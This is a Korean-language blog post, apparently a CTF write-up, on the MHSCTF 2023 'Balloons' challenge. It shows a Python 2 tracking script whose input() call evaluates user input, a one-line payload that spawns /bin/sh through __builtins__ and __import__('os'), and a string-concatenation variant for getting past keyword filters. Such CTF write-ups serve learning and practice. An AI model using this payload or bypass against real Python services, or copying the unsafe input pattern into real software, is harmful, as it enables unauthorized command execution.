CIDY
[MHSCTF 2023] Feb. 1 — Balloons 본문
from balloon_tracking_lookup import get_status
print "Welcome to your balloon order-tracking portal! Enter your tracking number here.\n"
tracking_number = input(">>> ")
try:
print "Getting status for order #" + str(int(tracking_number)) + "..."
except:
print "Invalid tracking number!"
print get_status(int(tracking_number))
파이썬으로 짜여져 돌아간다. 파이썬으로 돌아가는 프로그램을 익스해본적은 없지만 요즘 ctf에 매번 등장하고 있어 더이상 회피할 수 없다는 생각에 풀어보기로 했다.
알아본 바에 의하면 c로 짜여진 프로그램들의 익스가 주로 system("/bin/sh");해서 쉘따는걸로 끝난다면, python에서도 비슷하게 import os한 뒤에, os.system("/bin/sh")하는걸로 쉘을 얻을 수 있다.
__builtins__.__dict__['__import__']('os').__dict__['system']('/bin/sh')
위와 같이 입력하면 바로 쉘 딸 수 있다.
아 그리고 이것저것 알아보다가 발견한건데
__builtins__.__dict__['__im'+'port__']('o'+'s').__dict__['sys'+'tem']('/bin/sh')
필터링이 있을 경우 위와 같이 우회 가능하다. 이번거는 필터링이 아예 필요없어서 편하게 함!
대회중이라 라업을 공개할수는 없고,, 끝나면 보호 풀어야징
'Hack > CTF' 카테고리의 다른 글
[LACTF 2023] stuff (4) | 2023.02.15 |
---|---|
[MHSCTF 2023] Feb. 5 — Rescue Mission (0) | 2023.02.15 |
[LACTF 2023] rut-roh-relro (0) | 2023.02.14 |
[LACTF 2023] rickroll(Write-up) (0) | 2023.02.14 |
[CCE 2022] proximity(Write-up 작성중) (0) | 2023.02.10 |